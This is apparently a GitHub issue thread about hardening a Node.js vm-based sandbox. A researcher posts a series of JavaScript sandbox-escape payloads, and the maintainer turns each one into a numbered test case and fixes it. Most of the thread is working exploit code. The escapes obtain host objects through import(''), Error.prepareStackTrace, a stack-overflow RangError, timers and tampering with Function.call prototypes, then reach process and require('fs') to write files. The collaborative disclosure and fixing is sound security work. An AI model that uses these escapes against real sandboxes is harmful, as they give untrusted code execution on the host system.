Closed j4k0xb closed 4 months ago
v20 runtime change a little, need add --experimental-vm-modules , and I did find a notes from official (https://nodejs.org/api/vm.html)
vm2>node --version
v20.12.0
vm2>node --experimental-vm-modules test /case=r4
{ case: 'r4' }
r4 ex= Object <[Object: null prototype] {}> {
message: 'EvilImport',
js: '\n' +
"import('').catch(_=>_).constructor.__proto__ = {\n" +
' set constructor(f) {f("return process")().mainModule.require("fs").writeFileSync("pwned_r4", "");}\n' +
'}\n'
}
r4 check= object function
For me the
importModuleDynamically
is not called. I do not know why, but it isn't. That's node for you. I use v20.12.0
So, your sandbox is only secure if one uses an experimental feature with a special command line?
let me find a solution for this. wait
So, your sandbox is only secure if one uses an experimental feature with a special command line?
But here is a attack with the experimental feature activated:
const i = import('');
try { i.then() } catch (e) {}
i.constructor.constructor("return process")().mainModule.require("fs").writeFileSync("pwned", "")
should both solved, case r4 and r5. all test cases passed still. no pwneds but I'll make a test-script clean up tomorrow to confirm all these.
But here is a attack with the experimental feature activated:
const i = import(''); try { i.then() } catch (e) {} i.constructor.constructor("return process")().mainModule.require("fs").writeFileSync("pwned", "")
@XmiliaH Now all test cases passed and no pwn* out.
eager to see your new cases ;)
# test single case,
node test /case=r4
node test /case=r5
# full test
node test
const Function = (_=>_).constructor;
constructor.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
import('fs').catch();
ok, let me investigate more and answer you
const Function = (_=>_).constructor; constructor.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"])); import('fs').catch();
Did you run with --experimental-vm-modules
?
Did you run with
--experimental-vm-modules
?
no, just pure raw node
But it works either way for me
But it works either way for me
maybe git pull to use the updated source and run "node test" for full test?
D:\dev\vm2>node test /case=r6
{ case: 'r6' }
ex= {
message: 'A dynamic import callback was invoked without --experimental-vm-modules',
js: '\n' +
'const Function = (_=>_).constructor;\n' +
`constructor.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned_', ''))"]));\n` +
"import('fs').catch();\n"
}
check= object function
-------------- test pwn* ---------------
No files found matching the pattern./pwn*/
Yes, if you have local changes no wonder that it might not work...
delete constructor;
const Function = (async _=>_).constructor;
constructor.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
import('fs').catch();
added test case r7
>node test /case=r7
{ case: 'r7' }
r7 ex= {
message: "Cannot set properties of undefined (setting 'call')",
js: '\n' +
'delete constructor;\n' +
'const Function = (async _=>_).constructor;\n' +
`constructor.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned_r7', ''))"]));\n` +
"import('fs').catch();\n"
}
r7 check= object function
-------------- test pwn* ---------------
No files found matching the pattern./pwn*/
delete constructor; const Function = (async _=>_).constructor; constructor.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"])); import('fs').catch();
const Function = (_=>_).constructor;
toString.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
import('fs').catch();
Love this one! I will find the general solution for this alike tomorrow
const Function = (_=>_).constructor; toString.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"])); import('fs').catch();
it is done, test case r8
const Function = (_=>_).constructor; toString.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"])); import('fs').catch();
I do not think this is the general solution.
const Function = (_=>_).constructor;
valueOf.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
import('fs').catch();
done now, all the hidden methods in constructor should be removed now
added test case r10, and all cases passed.
I do not think this is the general solution.
const Function = (_=>_).constructor; valueOf.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"])); import('fs').catch();
const Function = (_=>_).constructor;
setTimeout.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
import('fs').catch();
oh, thanks pointing out the things from ctx is vulnerable.
added tmp solution, will improve codes to protect ctx later.
test case r11 and r12.
const Function = (_=>_).constructor; setTimeout.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"])); import('fs').catch();
const t = setTimeout(_=>t.constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""), 1000);
haha, I just thought it when I walked out. Will make it done when I back to desk
const t = setTimeout(_=>t.constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""), 1000);
done! remove setTimeout from host scope and added Promise.delay() in sandbox scope
all test no pwned.
const t = setTimeout(_=>t.constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""), 1000);
Seems that all the cases currently listed are related to the objects introduced by host scope.
If this is the only reason (even the prototype pollution) then I still think it is possible to fix all.
What I really concern is, are there any cases came from the node:vm internal?
There are multipe ways to get host object. One way is import('')
which gives a host promise, you can get a host RangeError
with recursion, an host array with Error.prepareStackTrace
and other ways.
I see. Thanks, I am not a good at finding errors but kinda fixing case by case.
hope to see more cracking cases then. Have a nice day
There are multipe ways to get host object. One way is
import('')
which gives a host promise, you can get a hostRangeError
with recursion, an host array withError.prepareStackTrace
and other ways.
Promise.delay(1000).then(_=>import('').constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""))
the delay()/setTimeout() take me time more than I expected, so I mark it “TODO" and investigate them later.
currently the jevalx.js rollback to RC3 version that still passed all test case...
Promise.delay(1000).then(_=>import('').constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""))
const i = import('');
i.catch.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
i.catch();
nich hack! and test case r16 and fixed
const i = import(''); i.catch.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"])); i.catch();
const i = import('');
i.finally.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
i.catch();
done, with r17, r18
is the host object from import() all clear now?
const i = import(''); i.finally.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"])); i.catch();
const i = import('');
i.constructor.race.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
i.catch();
done already
const i = import(''); i.constructor.race.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"])); i.catch();
updated a speed-boost version, hope no new bugs... please pull to the latest....
Promise.resolve = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
Promise.delay(1);
thanks. quick fixed with r21.
Promise.resolve = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"])); Promise.delay(1);
console.log.prototype.__proto__.constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", "")
done, r22
console.log.prototype.__proto__.constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", "")
I go rest.
tomorrow I am going to wrap the context object and method with X ...
try {
(function stack() {
new Error().stack;
stack();
})();
} catch (e) { e.constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""); }
added r22, but both full test or single test no pwd files out, but 'process not defined'
do you have output pwdn locally?
try { (function stack() { new Error().stack; stack(); })(); } catch (e) { e.constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""); }
try {
(function stack() {
s = new EvalError().stack;
stack();
})();
} catch (e) { e.constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""); }
done. r23: null RangError.prototype.constructor in the host scope;
try { (function stack() { s = new EvalError().stack; stack(); })(); } catch (e) { e.constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""); }
let r=_=>_;
this.Error={get prepareStackTrace(){const l=r;r=1;return l;}};
try{
try{(1)[1]}catch(e){e.stack}
}catch(e){e.constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""); }
false
added test case r24, but no pwned
do you mind test locally like below ?
r24
m2>node test /case=r24
commmand line: { case: 'r24' }
-------------- test case r24 ---------------
r24 result(raw)= false
r24 check= object function [Function: Promise]
-------------- test pwn* after sleep ---------------
No files found matching the pattern./pwn*/
command line: { case: 'r24' }
let r=_=>_; this.Error={get prepareStackTrace(){const l=r;r=1;return l;}}; try{ try{(1)[1]}catch(e){e.stack} }catch(e){e.constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""); } false
I think I messed the last on up should be
let r=_=>_;
this.Error={get prepareStackTrace(){const l=r;r=1;return l;}};
try{
try{null[1]}catch(e){e.stack}
}catch(e){console.log(e);e.constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""); }
false
Unsertstood. now ok done. TypeError is locked at Host
I think I messed the last on up should be
let r=_=>_; this.Error={get prepareStackTrace(){const l=r;r=1;return l;}}; try{ try{null[1]}catch(e){e.stack} }catch(e){console.log(e);e.constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""); } false